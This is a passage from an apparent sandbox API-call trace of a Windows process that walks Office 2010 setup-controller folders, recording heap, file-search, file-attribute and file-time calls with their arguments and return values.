returned 0 [0236.738] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909868) returned 1 [0236.740] NtClose (Handle=0x1b4) returned 0x0 [0236.741] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.758] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.758] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0236.758] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.758] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.758] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906d00 [0236.758] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0236.758] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.758] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="")) returned 1 [0236.759] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.759] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.759] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.759] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.759] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.759] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906bf8 [0236.759] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0236.759] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908db8 [0236.759] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9087d0 [0236.759] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.759] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.759] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.759] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.759] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.759] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.759] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.759] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908dd8 [0236.759] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9088d8 [0236.759] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.759] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.759] GetLastError () returned 0x12 [0236.759] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0236.759] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0236.760] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.760] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="")) returned 1 [0236.760] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.760] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.760] GetLastError () returned 0x12 [0236.760] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906d00) returned 1 [0236.760] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0236.760] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906bf8) returned 1 [0236.760] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.760] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0236.760] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.760] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0236.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0236.775] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0236.781] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x909868 [0236.791] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x909868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x909868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0236.800] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909868) returned 1 [0236.804] NtClose (Handle=0x1b8) returned 0x0 [0236.807] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.807] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.807] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0236.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906bf8 [0236.812] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0236.812] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.812] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="")) returned 1 [0236.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906d00 [0236.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0236.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908df8 [0236.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9089e0 [0236.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.812] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908e18 [0236.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909880 [0236.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.813] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.813] GetLastError () returned 0x12 [0236.813] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0236.813] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0236.813] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.813] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="")) returned 1 [0236.813] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.813] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.813] GetLastError () returned 0x12 [0236.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906bf8) returned 1 [0236.813] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0236.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906d00) returned 1 [0236.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.813] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="")) returned 1 [0236.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.813] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0236.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0236.862] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0236.862] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90b868 [0236.862] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90b868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x90b868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0236.862] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90b868) returned 1 [0236.862] NtClose (Handle=0x1b4) returned 0x0 [0236.880] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.880] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.880] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0236.880] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.880] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.880] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0236.880] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0236.880] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.881] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="")) returned 1 [0236.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909a90 [0236.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0236.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908e38 [0236.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909b98 [0236.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.881] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908e58 [0236.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909ca0 [0236.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4c0) returned 0x8ffe90 [0236.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9093e0) returned 1 [0236.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.881] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.881] GetLastError () returned 0x12 [0236.881] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 